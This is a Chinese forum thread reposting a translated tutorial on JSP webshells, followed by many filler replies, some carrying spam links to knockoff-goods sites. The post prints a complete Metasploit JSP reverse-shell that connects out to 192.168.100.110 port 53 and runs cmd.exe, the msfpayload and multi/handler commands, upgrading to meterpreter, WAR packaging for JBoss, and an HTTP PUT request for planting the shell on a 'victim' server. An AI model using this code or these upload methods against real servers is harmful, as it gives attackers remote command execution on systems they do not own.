注册忘记密码

自学论坛

自学图文推荐

热门推荐:Win10Win8Win7/XPPS技术教程大全New资讯
查看: 4255|回复: 39

国外大牛教你玩转JSP WebShell

[复制链接]

183

主题

190

帖子

572

积分

高级会员

Rank: 4Rank: 4Rank: 4Rank: 4

积分
572
发表于 2015-3-1 14:29:36 | 显示全部楼层 |阅读模式

其实这是一篇科普文。最后对于文件上传技巧的叙述比较冗长有删节。https://blog.netspi.com/hacking-with-jsp-shells/

什么是WebShell

WebShell就是以asp、php、jsp或者cgi等网页文件形式存在的一种命令执行环境,也可以将其称做为一种网页后门。黑客在入侵了一个网站后,通常会将这些asp或php后门文件与网站服务器WEB目录下正常的网页文件混在一起,然后就可以使用浏览器…

现如今,使用JSP开发的的网站越来越多,很多大公司的数据中心也会使用这种架构。在我的渗透经验之中,拿下JSP网站的主要方法就是上传Shell从而执行命令。在下面的文章中我将举两个JSP sheel code的例子,和几个常见的上传shell的方法。

JSP Shell

对于不怎么熟悉Web Shell的人来说,我前文指的JSP Shell是一段"Java Server Page"这段代码可以允许任何指令在服务器上执行。一般来说,Shell通过一个HTML from来接受需要执行的指令。下面,我对于每个例子都会给出基本的Shell代码。我个人比较喜欢用,Metasploit JSP shells,因为它具有很好的稳定性和清爽的界面。

基本JSP shell

这是一个最简单的 JSP Shell,使用方法如下。

(1)保存为cmd.jsp上传到服务器。

(2)访问这个页面,执行命令。


Metasploit JSP Shell

在攻击中使用Metasploit JSP Shell大概需要六步。

(1)使用msfpayload创建一个cmd.jsp(2)上传cmd.jsp到服务器(3)运行Metasploit multi-handler (4)访问cmd.jsp(5)获得shell(6)如果是windows,升级到meterpreter shell

创建一个JSP Shell可以使用如下的命令,LHOST代表了自己主机的地址。

ruby C:\framework\msf3\msfpayload java/jsp_shell_reverse_tcp LHOST=192.168.100.110 LPORT=53 R > cmd.jsp

上面的指令成功执行之后,Metasploit会生cmd.jsp的源代码,有些情况下你可能需要修改其中的一些变量来绕过防火墙的检测。

<%@page import="java.lang.*"%> <%@page import="java.util.*"%> <%@page import="java.io.*"%> <%@page import="java.net.*"%> <% class StreamConnector extends Thread { InputStream is; OutputStream os; StreamConnector( InputStream is, OutputStream os ) { this.is = is; this.os = os; } public void run() { BufferedReader in = null; BufferedWriter out = null; try { in = new BufferedReader( new InputStreamReader( this.is ) ); out = new BufferedWriter( new OutputStreamWriter( this.os ) ); char buffer[] = new char[8192]; int length; while( ( length = in.read( buffer, 0, buffer.length ) ) > 0 ) { out.write( buffer, 0, length ); out.flush(); } } catch( Exception e ){} try { if( in != null ) in.close(); if( out != null ) out.close(); } catch( Exception e ){} } } try { Socket socket = new Socket( "192.168.100.110", 53 ); Process process = Runtime.getRuntime().exec( "cmd.exe" ); ( new StreamConnector( process.getInputStream(), socket.getOutputStream() ) ).start(); ( new StreamConnector( socket.getInputStream(), process.getOutputStream() ) ).start(); } catch( Exception e ) {} %>

之后就是把cmd.jsp文件上传到目标服务器。假设上传后的地址是,http://www.victim.com/cmd.jsp之后就开始运用Metasploit multi handler,打开msfconsole使用如下命令。

use exploit/multi/handler setg LHOST 192.168.100.110 setg LPORT 53 setg PAYLOAD java/jsp_shell_reverse_tcp setg SHELL cmd.exe exploit –j -z

最后访问 http://www.victim.com/cmd.jsp ,msfconsole就会受到反弹回来的链接。

你可以通过以下的指令访问这条shell

sessions –I 1

如果目标主机是一个windows主机,可以用以下的指令吧shell升级成一个meter-preter shell

sessions –U 1

打包JSP Shells

有些情况下,需要把cmd.jsp打包成一个WAR文件(比如JBoss).在windows环境下,需要如下几步。

(1)安装JDK

(2)新建 WEB-INF目录

(3)在 WEB-INF/web.xml 中输入如下内容

<web-app xmlns="http://java.sun.com/xml/ns/j2ee" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemalocation="http://java.sun.com/xml/ns/j2ee http://java.sun.com/xml/ns/j2ee/web-app_2_4.xsd" version="2.4"> <servlet-name>Command</servlet-name> <jsp-file>/cmd.jsp</jsp-file> </web-app>

(4)使用如下命令可以把jsp,文件打包成jar包。

"C:\Program Files (x86)\Java\jdk1.6.0_26\bin\jar.exe" cvf cmd.war WEB-INF cmd.jsp

Shell上传

使用PUT方法

PUT方法是HTTP的一个扩展协议,允许用户向服务器上传文件。很久以前这个漏洞还是很流行的。

基本所有扫描工具都可以,扫描到这个漏洞,也可以通过ncat之类的工具找到这个漏洞。我比较喜欢

使用burp,使用burp检测这个漏洞,需要如下几步。

(1) 进入repeater tab选项卡

(2) 构造如下文件头

PUT /path/cmd.jsp HTTP/1.1 Host: <victim-ip> Content-Length: 0 </victim-ip>

(3) 在文件头下面连续输入两次回车之后输入JSP shell code。

(4) 在burp下提交构造好的包。


上传方式

一般情况下,网站对于上传文件的类型都有很严格的控制,但攻击者仍然有几种方法来绕过他们。这里就不详细叙述了。


发布WAR文件


有一些服务器软件会使用到WAR,其中一些会提供用户上传WAR文件的接口。有些会允许用户使用一些外部源。Josh Abraham 写了一些jBoss metasploit exploits,叫做jboss_maindeployer。这里还有一篇比较不错的paper来讲针对jBoss的攻击。


文件共享

有的时候,网站的主目录会被部署到ftp服务器上,如果能猜到密码或者是ftp使用了默认的密码。就可以通过ftp来上传shell。



回复

使用道具 举报

0

主题

18

帖子

58

积分

注册会员

Rank: 2Rank: 2

积分
58
发表于 2015-5-12 08:35:48 | 显示全部楼层
支持楼主,大家要围观哟
回复 支持 反对

使用道具 举报

0

主题

16

帖子

52

积分

注册会员

Rank: 2Rank: 2

积分
52
发表于 2015-5-12 08:51:39 | 显示全部楼层
有自学自考内容吗?
回复 支持 反对

使用道具 举报

0

主题

17

帖子

55

积分

注册会员

Rank: 2Rank: 2

积分
55
发表于 2015-5-12 08:59:20 | 显示全部楼层
好帖就是要顶
回复 支持 反对

使用道具 举报

0

主题

17

帖子

57

积分

注册会员

Rank: 2Rank: 2

积分
57
发表于 2015-5-12 09:37:27 | 显示全部楼层
说的非常好
回复 支持 反对

使用道具 举报

0

主题

14

帖子

52

积分

注册会员

Rank: 2Rank: 2

积分
52
发表于 2015-5-12 09:41:01 | 显示全部楼层
很好哦
[url=http://www.klnelson.net/maison.asp?page=hollister-femme/]hollister femme[/u
回复 支持 反对

使用道具 举报

0

主题

18

帖子

56

积分

注册会员

Rank: 2Rank: 2

积分
56
发表于 2015-5-12 09:49:09 | 显示全部楼层
楼主是超人
回复 支持 反对

使用道具 举报

0

主题

15

帖子

51

积分

注册会员

Rank: 2Rank: 2

积分
51
发表于 2015-5-12 09:59:25 | 显示全部楼层
顶顶多好
回复 支持 反对

使用道具 举报

0

主题

17

帖子

53

积分

注册会员

Rank: 2Rank: 2

积分
53
发表于 2015-5-12 10:13:16 | 显示全部楼层
我经常来自学社区
回复 支持 反对

使用道具 举报

0

主题

18

帖子

58

积分

注册会员

Rank: 2Rank: 2

积分
58
发表于 2015-5-12 10:18:16 | 显示全部楼层
好帖就是要顶
回复 支持 反对

使用道具 举报

0

主题

13

帖子

51

积分

注册会员

Rank: 2Rank: 2

积分
51
发表于 2015-5-12 10:18:39 | 显示全部楼层
自学内容真不少
[url=http://www.parentscontreladrogue.com/config.php?q=?cat=11]site hollister[/u
回复 支持 反对

使用道具 举报

0

主题

15

帖子

51

积分

注册会员

Rank: 2Rank: 2

积分
51
发表于 2015-5-12 10:48:18 | 显示全部楼层
难得一见的好帖
回复 支持 反对

使用道具 举报

0

主题

17

帖子

59

积分

注册会员

Rank: 2Rank: 2

积分
59
发表于 2015-5-13 10:57:16 | 显示全部楼层
说的非常好
[url=http://formulaventure.com/ainmentcs.html]Free Shipping Discount Hats China
回复 支持 反对

使用道具 举报

0

主题

14

帖子

54

积分

注册会员

Rank: 2Rank: 2

积分
54
发表于 2015-5-13 11:12:45 | 显示全部楼层
自学社区好啊
回复 支持 反对

使用道具 举报

0

主题

14

帖子

52

积分

注册会员

Rank: 2Rank: 2

积分
52
发表于 2015-5-13 12:12:25 | 显示全部楼层
自学论坛zixuebbs.com好记啊
[url=http://www.klnelson.net/maison.asp?page=hollister-magasin/]hollister magasi
回复 支持 反对

使用道具 举报

0

主题

13

帖子

51

积分

注册会员

Rank: 2Rank: 2

积分
51
发表于 2015-5-13 12:17:25 | 显示全部楼层
有自学自考内容吗?
回复 支持 反对

使用道具 举报

0

主题

17

帖子

55

积分

注册会员

Rank: 2Rank: 2

积分
55
发表于 2015-5-17 11:48:20 | 显示全部楼层
自学论坛zixuebbs.com好记啊
回复 支持 反对

使用道具 举报

0

主题

11

帖子

53

积分

注册会员

Rank: 2Rank: 2

积分
53
发表于 2015-5-17 13:21:43 | 显示全部楼层
LZ真是人才
[url=http://www.duboutdeslevres.fr/louboutin-bottines-c-1.html]Louboutin Bottine
回复 支持 反对

使用道具 举报

0

主题

18

帖子

56

积分

注册会员

Rank: 2Rank: 2

积分
56
发表于 2015-5-21 13:16:19 | 显示全部楼层
我经常来自学社区
回复 支持 反对

使用道具 举报

0

主题

16

帖子

54

积分

注册会员

Rank: 2Rank: 2

积分
54
发表于 2015-5-21 13:16:58 | 显示全部楼层
我每天都来的
[url=http://www.duboutdeslevres.fr/louboutin-bottines-c-1.html]Louboutin Bottine
回复 支持 反对

使用道具 举报

发表回复

您需要登录后才可以回帖 登录 | 免费注册

本版积分规则

快速回复 返回顶部 返回列表